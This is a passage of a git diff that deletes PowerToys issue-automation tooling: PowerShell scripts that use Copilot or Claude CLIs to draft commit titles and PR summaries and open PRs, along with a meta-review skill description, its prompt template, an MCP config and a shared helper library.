$results = $IssueNumbers | ForEach-Object -Parallel {
$issue = $PSItem
$repoRoot = $using:repoRoot
$scriptPath = $using:scriptPath
$cliType = $using:CLIType
$model = $using:Model
$force = $using:Force
Set-Location $repoRoot
if (-not $issue) {
return [pscustomobject]@{
IssueNumber = $issue
ExitCode = 1
Error = 'Issue number is empty.'
}
}
$params = @{
IssueNumber = [int]$issue
CLIType = $cliType
}
if ($model) {
$params.Model = $model
}
if ($force) {
$params.Force = $true
}
try {
& $scriptPath @params | Out-Default
[pscustomobject]@{
IssueNumber = $issue
ExitCode = $LASTEXITCODE
}
}
catch {
[pscustomobject]@{
IssueNumber = $issue
ExitCode = 1
Error = $_.Exception.Message
}
}
} -ThrottleLimit $ThrottleLimit
$results

View File

@@ -1,562 +0,0 @@
<#!
.SYNOPSIS
Commit and create PRs for completed issue fixes in worktrees.
.DESCRIPTION
For each specified issue (or all issue worktrees), commits changes using AI-generated
commit messages and creates PRs with AI-generated summaries, linking to the original issue.
.PARAMETER IssueNumbers
Array of issue numbers to submit. If not specified, processes all issue/* worktrees.
.PARAMETER DryRun
Show what would be done without actually committing or creating PRs.
.PARAMETER SkipCommit
Skip the commit step (assume changes are already committed).
.PARAMETER SkipPush
Skip pushing to remote (useful for testing).
.PARAMETER TargetBranch
Target branch for the PR. Default: main.
.PARAMETER CLIType
AI CLI to use for generating messages: copilot, claude, or manual. Default: copilot.
.PARAMETER Draft
Create PRs as drafts.
.EXAMPLE
# Submit all issue worktrees
./Submit-IssueFixes.ps1
.EXAMPLE
# Submit specific issues
./Submit-IssueFixes.ps1 -IssueNumbers 44044, 44480
.EXAMPLE
# Dry run to see what would happen
./Submit-IssueFixes.ps1 -DryRun
.EXAMPLE
# Create draft PRs
./Submit-IssueFixes.ps1 -Draft
.NOTES
Prerequisites:
- Worktrees created by Start-IssueAutoFix.ps1
- Changes made in the worktrees
- GitHub CLI (gh) authenticated
- Copilot CLI or Claude Code CLI
#>
[CmdletBinding()]
param(
[int[]]$IssueNumbers,
[switch]$DryRun,
[switch]$SkipCommit,
[switch]$SkipPush,
[string]$TargetBranch = 'main',
[ValidateSet('copilot', 'claude', 'manual')]
[string]$CLIType = 'copilot',
[switch]$Draft,
[switch]$Force,
[switch]$Help
)
# Load libraries
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. "$scriptDir/IssueReviewLib.ps1"
# Load worktree library
$repoRoot = Get-RepoRoot
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$worktreeLib = Join-Path $repoRoot 'tools/build/WorktreeLib.ps1'
if (Test-Path $worktreeLib) {
. $worktreeLib
}
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
function Get-AIGeneratedCommitTitle {
<#
.SYNOPSIS
Generate commit title using AI CLI with create-commit-title prompt.
#>
param(
[Parameter(Mandatory)]
[string]$WorktreePath,
[string]$CLIType = 'copilot'
)
$promptFile = Join-Path $repoRoot "$_cfgDir/prompts/create-commit-title.prompt.md"
if (-not (Test-Path $promptFile)) {
throw "Prompt file not found: $promptFile"
}
$prompt = "Follow the instructions in $_cfgDir/prompts/create-commit-title.prompt.md to generate a commit title for the current changes. Output ONLY the commit title, nothing else."
# MCP config for github-artifacts tools (relative to repo root)
$mcpConfig = "@$_cfgDir/skills/issue-fix/references/mcp-config.json"
Push-Location $WorktreePath
try {
switch ($CLIType) {
'copilot' {
$result = & copilot --additional-mcp-config $mcpConfig -p $prompt --yolo -s --agent FixIssue 2>&1
# Extract just the title line (last non-empty line that looks like a title)
$lines = $result -split "`n" | Where-Object { $_.Trim() -and $_ -notmatch '^\s*```' -and $_ -notmatch '^\s*#' }
$title = $lines | Select-Object -Last 1
return $title.Trim()
}
'claude' {
$result = & claude --print --dangerously-skip-permissions --agent FixIssue --prompt $prompt 2>&1
$lines = $result -split "`n" | Where-Object { $_.Trim() -and $_ -notmatch '^\s*```' }
$title = $lines | Select-Object -Last 1
return $title.Trim()
}
'manual' {
# Show diff and ask user for title
git diff HEAD --stat
return Read-Host "Enter commit title"
}
}
} finally {
Pop-Location
}
}
function Get-AIGeneratedPRSummary {
<#
.SYNOPSIS
Generate PR summary using AI CLI with create-pr-summary prompt.
#>
param(
[Parameter(Mandatory)]
[string]$WorktreePath,
[Parameter(Mandatory)]
[int]$IssueNumber,
[string]$TargetBranch = 'main',
[string]$CLIType = 'copilot'
)
$prompt = @"
Follow the instructions in $_cfgDir/prompts/create-pr-summary.prompt.md to generate a PR summary.
Target branch: $TargetBranch
This PR fixes issue #$IssueNumber.
IMPORTANT:
1. Output the PR title on the first line
2. Then output the PR body in markdown format
3. Make sure to include "Fixes #$IssueNumber" in the body to auto-link the issue
"@
# MCP config for github-artifacts tools (relative to repo root)
$mcpConfig = "@$_cfgDir/skills/issue-fix/references/mcp-config.json"
Push-Location $WorktreePath
try {
switch ($CLIType) {
'copilot' {
$result = & copilot --additional-mcp-config $mcpConfig -p $prompt --yolo -s --agent FixIssue 2>&1
return $result -join "`n"
}
'claude' {
$result = & claude --print --dangerously-skip-permissions --agent FixIssue --prompt $prompt 2>&1
return $result -join "`n"
}
'manual' {
git diff "$TargetBranch...HEAD" --stat
$title = Read-Host "Enter PR title"
$body = Read-Host "Enter PR body (or press Enter for default)"
if (-not $body) {
$body = "Fixes #$IssueNumber"
}
return "$title`n`n$body"
}
}
} finally {
Pop-Location
}
}
function Parse-PRContent {
<#
.SYNOPSIS
Parse AI output to extract PR title and body.
Expected format:
Line 1: feat(scope): title text
Line 2+: ```markdown
## Summary...
```
#>
param(
[Parameter(Mandatory)]
[string]$Content,
[int]$IssueNumber
)
$lines = $Content -split "`n"
# Title is the FIRST line that looks like a conventional commit
# Body is the content INSIDE the ```markdown ... ``` block
$title = $null
$body = $null
# Find title - first line matching conventional commit format
foreach ($line in $lines) {
$trimmed = $line.Trim()
if ($trimmed -match '^(feat|fix|docs|refactor|perf|test|build|ci|chore)(\([^)]+\))?:') {
$title = $trimmed -replace '^#+\s*', ''
break
}
}
# Fallback title
if (-not $title) {
$title = "fix: address issue #$IssueNumber"
}
# Extract body from markdown code block
$fullContent = $Content
if ($fullContent -match '```markdown\r?\n([\s\S]*?)\r?\n```') {
$body = $Matches[1].Trim()
} else {
# No markdown block - use everything after the title line
$titleIndex = [array]::IndexOf($lines, ($lines | Where-Object { $_.Trim() -eq $title } | Select-Object -First 1))
if ($titleIndex -ge 0 -and $titleIndex -lt $lines.Count - 1) {
$body = ($lines[($titleIndex + 1)..($lines.Count - 1)] -join "`n").Trim()
# Clean up any remaining code fences
$body = $body -replace '^```\w*\r?\n', '' -replace '\r?\n```\s*$', ''
} else {
$body = ""
}
}
# Ensure issue link is present
if ($body -notmatch "Fixes\s*#$IssueNumber" -and $body -notmatch "Closes\s*#$IssueNumber" -and $body -notmatch "Resolves\s*#$IssueNumber") {
$body = "$body`n`nFixes #$IssueNumber"
}
return @{
Title = $title
Body = $body
}
}
function Submit-IssueFix {
<#
.SYNOPSIS
Commit changes, push, and create PR for a single issue.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$WorktreePath,
[Parameter(Mandatory)]
[string]$Branch,
[string]$TargetBranch = 'main',
[string]$CLIType = 'copilot',
[switch]$DryRun,
[switch]$SkipCommit,
[switch]$SkipPush,
[switch]$Draft
)
Push-Location $WorktreePath
try {
# Check for changes
$status = git status --porcelain
$hasUncommitted = $status.Count -gt 0
# Check for commits ahead of target
git fetch origin $TargetBranch 2>$null
$commitsAhead = git rev-list --count "origin/$TargetBranch..$Branch" 2>$null
if (-not $commitsAhead) { $commitsAhead = 0 }
Info "Issue #$IssueNumber in $WorktreePath"
Info " Branch: $Branch"
Info " Uncommitted changes: $hasUncommitted"
Info " Commits ahead of $TargetBranch`: $commitsAhead"
if (-not $hasUncommitted -and $commitsAhead -eq 0) {
Warn " No changes to submit for issue #$IssueNumber"
return @{ IssueNumber = $IssueNumber; Status = 'NoChanges' }
}
# Step 1: Commit if there are uncommitted changes
if ($hasUncommitted -and -not $SkipCommit) {
Info " Generating commit title..."
if ($DryRun) {
Info " [DRY RUN] Would generate commit title and commit changes"
} else {
$commitTitle = Get-AIGeneratedCommitTitle -WorktreePath $WorktreePath -CLIType $CLIType
if (-not $commitTitle) {
throw "Failed to generate commit title"
}
Info " Commit title: $commitTitle"
# Stage all changes and commit
git add -A
git commit -m $commitTitle
if ($LASTEXITCODE -ne 0) {
throw "Git commit failed"
}
Success " ✓ Changes committed"
}
}
# Step 2: Push to remote
if (-not $SkipPush) {
if ($DryRun) {
Info " [DRY RUN] Would push branch $Branch to origin"
} else {
Info " Pushing to origin..."
git push -u origin $Branch 2>&1 | Out-Null
if ($LASTEXITCODE -ne 0) {
# Try force push if normal push fails (branch might have been reset)
Warn " Normal push failed, trying force push..."
git push -u origin $Branch --force-with-lease 2>&1 | Out-Null
if ($LASTEXITCODE -ne 0) {
throw "Git push failed"
}
}
Success " ✓ Pushed to origin"
}
}
# Step 3: Create PR
Info " Generating PR summary..."
if ($DryRun) {
Info " [DRY RUN] Would generate PR summary and create PR"
Info " [DRY RUN] PR would link to issue #$IssueNumber"
return @{ IssueNumber = $IssueNumber; Status = 'DryRun' }
}
# Check if PR already exists
$existingPR = gh pr list --head $Branch --json number,url 2>$null | ConvertFrom-Json
if ($existingPR -and $existingPR.Count -gt 0) {
Warn " PR already exists: $($existingPR[0].url)"
return @{ IssueNumber = $IssueNumber; Status = 'PRExists'; PRUrl = $existingPR[0].url }
}
$prContent = Get-AIGeneratedPRSummary -WorktreePath $WorktreePath -IssueNumber $IssueNumber -TargetBranch $TargetBranch -CLIType $CLIType
$parsed = Parse-PRContent -Content $prContent -IssueNumber $IssueNumber
if (-not $parsed.Title) {
throw "Failed to generate PR title"
}
Info " PR Title: $($parsed.Title)"
# Create PR using gh CLI
$ghArgs = @(
'pr', 'create',
'--base', $TargetBranch,
'--head', $Branch,
'--title', $parsed.Title,
'--body', $parsed.Body
)
if ($Draft) {
$ghArgs += '--draft'
}
$prResult = & gh @ghArgs 2>&1
if ($LASTEXITCODE -ne 0) {
throw "Failed to create PR: $prResult"
}
# Extract PR URL from result
$prUrl = $prResult | Select-String -Pattern 'https://github.com/[^\s]+' | ForEach-Object { $_.Matches[0].Value }
Success " ✓ PR created: $prUrl"
return @{
IssueNumber = $IssueNumber
Status = 'Success'
PRUrl = $prUrl
CommitTitle = $commitTitle
PRTitle = $parsed.Title
}
}
catch {
Err " ✗ Failed: $($_.Exception.Message)"
return @{
IssueNumber = $IssueNumber
Status = 'Failed'
Error = $_.Exception.Message
}
}
finally {
Pop-Location
}
}
#region Main Script
try {
Info "Repository root: $repoRoot"
Info "Target branch: $TargetBranch"
Info "CLI type: $CLIType"
# Get all issue worktrees
$allWorktrees = Get-WorktreeEntries | Where-Object { $_.Branch -like 'issue/*' }
if ($allWorktrees.Count -eq 0) {
Warn "No issue worktrees found. Run Start-IssueAutoFix.ps1 first."
return
}
# Filter to specified issues if provided
$worktreesToProcess = @()
if ($IssueNumbers -and $IssueNumbers.Count -gt 0) {
foreach ($issueNum in $IssueNumbers) {
$wt = $allWorktrees | Where-Object { $_.Branch -match "issue/$issueNum\b" }
if ($wt) {
$worktreesToProcess += $wt
} else {
Warn "No worktree found for issue #$issueNum"
}
}
} else {
$worktreesToProcess = $allWorktrees
}
if ($worktreesToProcess.Count -eq 0) {
Warn "No worktrees to process."
return
}
# Display worktrees to process
Info "`nWorktrees to submit:"
Info ("-" * 80)
foreach ($wt in $worktreesToProcess) {
# Extract issue number from branch name
if ($wt.Branch -match 'issue/(\d+)') {
$issueNum = $Matches[1]
Info " #$issueNum -> $($wt.Path) [$($wt.Branch)]"
}
}
Info ("-" * 80)
if ($DryRun) {
Warn "`nDry run mode - no changes will be made."
}
# Confirm before proceeding
if (-not $Force -and -not $DryRun) {
$confirm = Read-Host "`nProceed with submitting $($worktreesToProcess.Count) fixes? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
}
# Process each worktree
$results = @{
Success = @()
Failed = @()
NoChanges = @()
PRExists = @()
DryRun = @()
}
foreach ($wt in $worktreesToProcess) {
if ($wt.Branch -match 'issue/(\d+)') {
$issueNum = [int]$Matches[1]
Info "`n" + ("=" * 60)
Info "SUBMITTING ISSUE #$issueNum"
Info ("=" * 60)
$result = Submit-IssueFix `
-IssueNumber $issueNum `
-WorktreePath $wt.Path `
-Branch $wt.Branch `
-TargetBranch $TargetBranch `
-CLIType $CLIType `
-DryRun:$DryRun `
-SkipCommit:$SkipCommit `
-SkipPush:$SkipPush `
-Draft:$Draft
switch ($result.Status) {
'Success' { $results.Success += $result }
'Failed' { $results.Failed += $result }
'NoChanges' { $results.NoChanges += $result }
'PRExists' { $results.PRExists += $result }
'DryRun' { $results.DryRun += $result }
}
}
}
# Summary
Info "`n" + ("=" * 80)
Info "SUBMISSION COMPLETE"
Info ("=" * 80)
Info "Total worktrees: $($worktreesToProcess.Count)"
if ($results.Success.Count -gt 0) {
Success "PRs created: $($results.Success.Count)"
foreach ($r in $results.Success) {
Success " #$($r.IssueNumber): $($r.PRUrl)"
}
}
if ($results.PRExists.Count -gt 0) {
Warn "PRs already exist: $($results.PRExists.Count)"
foreach ($r in $results.PRExists) {
Warn " #$($r.IssueNumber): $($r.PRUrl)"
}
}
if ($results.NoChanges.Count -gt 0) {
Warn "No changes: $($results.NoChanges.Count)"
Warn " Issues: $($results.NoChanges.IssueNumber -join ', ')"
}
if ($results.Failed.Count -gt 0) {
Err "Failed: $($results.Failed.Count)"
foreach ($r in $results.Failed) {
Err " #$($r.IssueNumber): $($r.Error)"
}
}
if ($results.DryRun.Count -gt 0) {
Info "Dry run: $($results.DryRun.Count)"
}
Info ("=" * 80)
return $results
}
catch {
Err "Error: $($_.Exception.Message)"
exit 1
}
#endregion

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,184 +0,0 @@
---
name: issue-review-review
description: Meta-review of issue-review outputs to validate scoring accuracy and implementation plan quality. Use when asked to verify an issue review, validate review scores, check if implementation plan is sound, audit issue analysis quality, second-opinion on issue feasibility, or ensure review consistency. Outputs a quality score (0-100) and corrective feedback that feeds back into issue-review for re-analysis.
license: Complete terms in LICENSE.txt
---
# Issue Review Review Skill
Validate the quality of `issue-review` outputs by cross-checking scores against evidence, verifying implementation plan correctness, and producing actionable feedback. When the quality score is below 90, the feedback is fed back into `issue-review` to re-run the analysis with corrections.
## Skill Contents
This skill is **self-contained** with all required resources:
```
.github/skills/issue-review-review/
├── SKILL.md # This file
├── LICENSE.txt # MIT License
├── scripts/
│ ├── Start-IssueReviewReview.ps1 # Main review-review script
│ ├── Start-IssueReviewReviewParallel.ps1 # Parallel runner
│ └── IssueReviewLib.ps1 # Shared library functions
└── references/
├── review-the-review.prompt.md # AI prompt for meta-review
└── mcp-config.json # MCP configuration
```
## Output Directory
All generated artifacts are placed under `Generated Files/issueReviewReview/<issue-number>/` at the repository root (gitignored).
```
Generated Files/issueReviewReview/
└── <issue-number>/
├── reviewTheReview.md # Meta-review with quality score and feedback
├── .signal # Completion signal for orchestrator
└── iteration-<N>/ # Previous iteration outputs (if looped)
└── reviewTheReview.md
```
## Signal File
On completion, a `.signal` file is created for orchestrator coordination:
```json
{
"status": "success",
"issueNumber": 45363,
"timestamp": "2026-02-04T10:05:23Z",
"qualityScore": 85,
"iteration": 1,
"outputs": ["reviewTheReview.md"],
"needsReReview": true
}
```
Status values: `success`, `failure`
Key fields:
- `qualityScore` (0-100): Overall quality of the original review
- `iteration`: Which review-review pass this is (1, 2, 3...)
- `needsReReview`: `true` if score < 90, meaning `issue-review` should re-run with feedback
## When to Use This Skill
- Validate that an issue review's scores match the evidence
- Check if an implementation plan is technically sound
- Verify that short-term and long-term fix strategies are correct
- Audit review quality before sending issues to `issue-fix`
- Second-opinion on feasibility and clarity assessments
- Quality gate in the issue-to-PR cycle automation
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- PowerShell 7+ for running scripts
- Issue must be reviewed first (use `issue-review` skill)
- Copilot CLI or Claude CLI installed
## Required Variables
⚠️ **Before starting**, confirm `{{IssueNumber}}` with the user. If not provided, **ASK**: "What issue number should I review-review?"
| Variable | Description | Example |
|----------|-------------|---------|
| `{{IssueNumber}}` | GitHub issue number whose review to validate | `44044` |
## Workflow
### Step 1: Ensure Issue Is Reviewed
The issue must already have `Generated Files/issueReview/{{IssueNumber}}/overview.md` and `implementation-plan.md`. If not, run `issue-review` first.
### Step 2: Run Review-Review
```powershell
# From repo root
.github/skills/issue-review-review/scripts/Start-IssueReviewReview.ps1 -IssueNumber {{IssueNumber}}
```
This will:
1. Read the original issue from GitHub
2. Read the existing `overview.md` and `implementation-plan.md`
3. Cross-check scores against evidence in the issue
4. Validate implementation plan against codebase
5. Generate `reviewTheReview.md` with quality score and feedback
### Step 3: Check Quality Score
Read the signal file at `Generated Files/issueReviewReview/{{IssueNumber}}/.signal`:
| Quality Score | Action |
|---------------|--------|
| 90-100 | ✅ Review is high quality — proceed to `issue-fix` |
| 70-89 | ⚠️ Review needs improvement — re-run `issue-review` with feedback |
| 50-69 | 🔶 Review has significant issues — re-run with feedback, may need 2 iterations |
| 0-49 | 🔴 Review is poor — re-run with feedback, consider manual review |
### Step 4: Feed Back to Issue-Review (if score < 90)
If `needsReReview` is `true`, re-run issue-review with the feedback file:
```powershell
# Re-run issue-review with feedback from review-review
.github/skills/issue-review/scripts/Start-BulkIssueReview.ps1 -IssueNumber {{IssueNumber}} -FeedbackFile "Generated Files/issueReviewReview/{{IssueNumber}}/reviewTheReview.md" -Force
```
Then re-run the review-review to check if quality improved:
```powershell
.github/skills/issue-review-review/scripts/Start-IssueReviewReview.ps1 -IssueNumber {{IssueNumber}} -Force
```
### Step 5: Loop Until Quality ≥ 90
The orchestrator (`issue-to-pr-cycle`) will loop Steps 2-4 until either:
- Quality score ≥ 90, OR
- Maximum iterations reached (default: 3)
## Batch Review-Review
To review-review multiple issues at once:
```powershell
.github/skills/issue-review-review/scripts/Start-IssueReviewReviewParallel.ps1 -IssueNumbers 44044,32950,45029 -ThrottleLimit 5 -Force
```
## CLI Options
### Start-IssueReviewReview.ps1
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-IssueNumber` | Issue number to review-review | (required) |
| `-CLIType` | AI CLI: `copilot` or `claude` | `copilot` |
| `-Model` | Copilot model to use | (auto) |
| `-Force` | Skip confirmation prompts | `$false` |
| `-DryRun` | Show what would be done | `$false` |
### Start-IssueReviewReviewParallel.ps1
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-IssueNumbers` | Array of issue numbers | (required) |
| `-ThrottleLimit` | Max parallel tasks | `5` |
| `-CLIType` | AI CLI type | `copilot` |
| `-Model` | Copilot model to use | (auto) |
| `-Force` | Skip confirmation prompts | `$false` |
## Quality Dimensions Checked
The meta-review evaluates these dimensions:
| Dimension | What It Checks | Weight |
|-----------|---------------|--------|
| Score Accuracy | Do scores match the evidence cited? | 30% |
| Implementation Correctness | Are the right files/patterns identified? | 25% |
| Risk Assessment | Are risks properly identified and mitigated? | 15% |
| Completeness | Are all aspects covered (perf, security, a11y, i18n)? | 15% |
| Actionability | Can an AI agent execute the plan as written? | 15% |
## AI Prompt Reference
The full prompt template is at [references/review-the-review.prompt.md](./references/review-the-review.prompt.md).

View File

@@ -1,9 +0,0 @@
{
"mcpServers": {
"github-artifacts": {
"command": "cmd",
"args": ["/c", "for /f %i in ('git rev-parse --show-toplevel') do node %i/tools/mcp/github-artifacts/launch.js"],
"tools": ["*"]
}
}
}

View File

@@ -1,194 +0,0 @@
---
agent: 'agent'
description: 'Meta-review of issue-review outputs: validate scores, check implementation plan quality, produce feedback'
---
# Review the Review — Meta-Analysis of Issue Review Quality
## Goal
For issue **#{{issue_number}}**, validate the existing `issue-review` outputs and produce:
1) `Generated Files/issueReviewReview/{{issue_number}}/reviewTheReview.md`
## Inputs
You MUST have these files available before starting:
- `Generated Files/issueReview/{{issue_number}}/overview.md` — The original review scores and assessment
- `Generated Files/issueReview/{{issue_number}}/implementation-plan.md` — The original implementation plan
- The original GitHub issue data (fetch via `gh issue view {{issue_number}}`)
If a feedback file from a previous iteration exists, also read it:
- `Generated Files/issueReviewReview/{{issue_number}}/reviewTheReview.md` — Previous meta-review feedback (check if iteration > 1)
## Process
### Step 1: Gather Context
1. **Read the original issue**: `gh issue view {{issue_number}} --json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments,linkedPullRequests`
2. **Read overview.md**: Parse all scores (Business Importance, Community Excitement, Technical Feasibility, Requirement Clarity, Overall Priority, Effort Estimate)
3. **Read implementation-plan.md**: Parse all sections (Problem Framing, Layers & Files, Pattern Choices, Fundamentals, Task Breakdown)
4. **Examine the actual codebase**: Use `rg`/`git grep`/`find` to verify file paths mentioned in the implementation plan actually exist
5. **Check for similar past fixes**: Search for related PRs and how they were implemented
### Step 2: Validate Scores
For EACH score dimension, evaluate whether the score matches the evidence:
#### A) Business Importance Score Validation
- Does the score align with the issue's labels (priority/security/regression)?
- Is the milestone/roadmap impact correctly assessed?
- Are customer/contract impacts properly weighted?
#### B) Community Excitement Score Validation
- Count actual 👍/❤️ reactions and compare against the score
- Verify comment count and unique participant count
- Check if recent activity assessment is accurate
- Verify duplicate/related issue count
#### C) Technical Feasibility Score Validation
- **CRITICAL**: Verify that files mentioned in the plan actually exist in the repo
- Check if the proposed changes follow existing patterns (use `rg` to find similar patterns)
- Assess whether risk factors (perf/security/compat) are properly identified
- Verify testability claims by checking if test infrastructure exists for the affected module
#### D) Requirement Clarity Score Validation
- Does the issue actually contain clear repro steps?
- Are non-functional requirements (perf/security/i18n/a11y) addressed?
- Are acceptance criteria defined or at least inferable?
### Step 3: Validate Implementation Plan
For EACH section of the implementation plan:
#### Problem Framing
- Is the problem correctly understood?
- Are scope boundaries reasonable?
- Is current vs expected behavior accurately described?
#### Layers & Files
- **CRITICAL**: Do ALL referenced files/directories exist? Run `test -f <path>` or `ls <path>` for each one
- Are the file paths using correct casing and separators?
- Are all affected layers identified (UI/domain/data/infra/build)?
- Are any files missing that should be modified?
#### Pattern Choices
- Do the suggested patterns match what the repo actually uses?
- Use `rg` to find 2-3 examples of the suggested pattern in the codebase
- If a new pattern is suggested, is the justification sound?
#### Fundamentals
- Are performance concerns addressed for the specific module?
- Are security implications properly assessed?
- Is i18n/l10n handled (check for hardcoded strings)?
- Is accessibility considered (keyboard nav, screen readers)?
#### Task Breakdown
- Can an AI agent actually execute each task as written?
- Are the steps in the right order (dependencies respected)?
- Are test requirements specified for each task?
- Is the human-vs-agent ownership realistic?
### Step 4: Check for Red Flags
Flag these issues if found:
- 🔴 **Ghost files**: Implementation plan references files that don't exist
- 🔴 **Wrong patterns**: Suggested approach contradicts existing codebase patterns
- 🔴 **Missing tests**: No test plan for behavior changes
- 🔴 **Score inflation**: Scores are ≥20 points higher than evidence supports
- 🔴 **Score deflation**: Scores are ≥20 points lower than evidence supports
- 🟡 **Incomplete coverage**: Missing fundamentals (security, i18n, a11y)
- 🟡 **Vague tasks**: Task breakdown has steps that are too broad to execute
- 🟡 **Missing dependencies**: Task order doesn't respect build/import dependencies
## Output: reviewTheReview.md
Generate the following structure:
```markdown
# Review-Review: Issue #{{issue_number}}
**Review Quality Score: X/100**
**Iteration: N**
**Verdict: PASS / NEEDS_IMPROVEMENT / FAIL**
## Executive Summary
Brief (2-3 sentences) on whether the original review is trustworthy and actionable.
## Score Validation
| Dimension | Original Score | Validated Score | Delta | Assessment |
|-----------|---------------|-----------------|-------|------------|
| Business Importance | X/100 | Y/100 | ±Z | ✅ Accurate / ⚠️ Inflated / ⚠️ Deflated |
| Community Excitement | X/100 | Y/100 | ±Z | ✅ / ⚠️ |
| Technical Feasibility | X/100 | Y/100 | ±Z | ✅ / ⚠️ |
| Requirement Clarity | X/100 | Y/100 | ±Z | ✅ / ⚠️ |
| Overall Priority | X/100 | Y/100 | ±Z | ✅ / ⚠️ |
### Score Details
For each dimension where delta ≥ 10 points:
- What evidence was missed or misinterpreted
- What the correct assessment should be
- Specific data points supporting the correction
## Implementation Plan Validation
### Files Verification
| File Path | Exists? | Correct? | Notes |
|-----------|---------|----------|-------|
| `src/modules/...` | ✅/❌ | ✅/⚠️ | ... |
### Pattern Verification
| Suggested Pattern | Used in Repo? | Examples Found | Assessment |
|-------------------|---------------|----------------|------------|
| ... | ✅/❌ | `src/...`, `src/...` | ✅ Correct / ⚠️ Wrong pattern |
### Task Breakdown Assessment
| Task # | Executable by Agent? | Issues | Corrective Action |
|--------|---------------------|--------|-------------------|
| 1 | ✅/⚠️/❌ | ... | ... |
## Red Flags Found
List any 🔴 or 🟡 flags with evidence.
## Corrective Feedback for Re-Review
**IF quality score < 90, provide specific instructions for issue-review to fix:**
### Scores to Adjust
- Dimension X: Change from Y to Z because [evidence]
### Implementation Plan Corrections
- File path corrections: [list]
- Missing files to add: [list]
- Pattern corrections: [list]
- Task breakdown fixes: [list]
### Missing Coverage
- Add section on: [topic]
- Expand analysis of: [topic]
## Quality Score Breakdown
| Dimension | Score | Weight | Weighted |
|-----------|-------|--------|----------|
| Score Accuracy | X/100 | 30% | X |
| Implementation Correctness | X/100 | 25% | X |
| Risk Assessment | X/100 | 15% | X |
| Completeness | X/100 | 15% | X |
| Actionability | X/100 | 15% | X |
| **Total** | | | **X/100** |
```
## Important Rules
1. **Be evidence-based**: Every correction must cite specific files, lines, or data
2. **Verify file existence**: ALWAYS run `test -f` or `ls` for paths in the implementation plan
3. **Check patterns**: Use `rg` to find at least 2 examples of any suggested pattern
4. **Don't be a rubber stamp**: If the review looks perfect, still verify the top 3 most impactful claims
5. **Actionable feedback**: Every issue found must include a specific correction, not just "this is wrong"
6. **Score honestly**: The quality score should reflect real issues found, not just gut feeling

View File

@@ -1,777 +0,0 @@
# IssueReviewLib.ps1 - Shared helpers for bulk issue review automation
# Part of the PowerToys GitHub Copilot/Claude Code issue review system
# Resolve config directory name (.github or .claude) from this script's location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
#region Console Output Helpers
function Info { param([string]$Message) Write-Host $Message -ForegroundColor Cyan }
function Warn { param([string]$Message) Write-Host $Message -ForegroundColor Yellow }
function Err { param([string]$Message) Write-Host $Message -ForegroundColor Red }
function Success { param([string]$Message) Write-Host $Message -ForegroundColor Green }
#endregion
#region Repository Helpers
function Get-RepoRoot {
$root = git rev-parse --show-toplevel 2>$null
if (-not $root) { throw 'Not inside a git repository.' }
return (Resolve-Path $root).Path
}
function Get-GeneratedFilesPath {
param([string]$RepoRoot)
return Join-Path $RepoRoot 'Generated Files'
}
function Get-IssueReviewPath {
param(
[string]$RepoRoot,
[int]$IssueNumber
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
return Join-Path $genFiles "issueReview/$IssueNumber"
}
function Get-IssueTitleFromOverview {
<#
.SYNOPSIS
Extract issue title from existing overview.md file.
.DESCRIPTION
Parses the overview.md to get the issue title without requiring GitHub CLI.
#>
param(
[Parameter(Mandatory)]
[string]$OverviewPath
)
if (-not (Test-Path $OverviewPath)) {
return $null
}
$content = Get-Content $OverviewPath -Raw
# Try to match title from Summary table: | **Title** | <title> |
if ($content -match '\*\*Title\*\*\s*\|\s*([^|]+)\s*\|') {
return $Matches[1].Trim()
}
# Try to match from header: # Issue #XXXX: <title>
if ($content -match '# Issue #\d+[:\s]+(.+)$' ) {
return $Matches[1].Trim()
}
# Try to match: # Issue #XXXX Review: <title>
if ($content -match '# Issue #\d+ Review[:\s]+(.+)$') {
return $Matches[1].Trim()
}
return $null
}
function Ensure-DirectoryExists {
param([string]$Path)
if (-not (Test-Path $Path)) {
New-Item -ItemType Directory -Path $Path -Force | Out-Null
}
}
#endregion
#region GitHub Issue Query Helpers
function Get-GitHubIssues {
<#
.SYNOPSIS
Query GitHub issues by label, state, and sort order.
.PARAMETER Labels
Comma-separated list of labels to filter by (e.g., "bug,help wanted").
.PARAMETER State
Issue state: open, closed, or all. Default: open.
.PARAMETER Sort
Sort field: created, updated, comments, reactions. Default: created.
.PARAMETER Order
Sort order: asc or desc. Default: desc.
.PARAMETER Limit
Maximum number of issues to return. Default: 100.
.PARAMETER Repository
Repository in owner/repo format. Default: microsoft/PowerToys.
#>
param(
[string]$Labels,
[ValidateSet('open', 'closed', 'all')]
[string]$State = 'open',
[ValidateSet('created', 'updated', 'comments', 'reactions')]
[string]$Sort = 'created',
[ValidateSet('asc', 'desc')]
[string]$Order = 'desc',
[int]$Limit = 100,
[string]$Repository = 'microsoft/PowerToys'
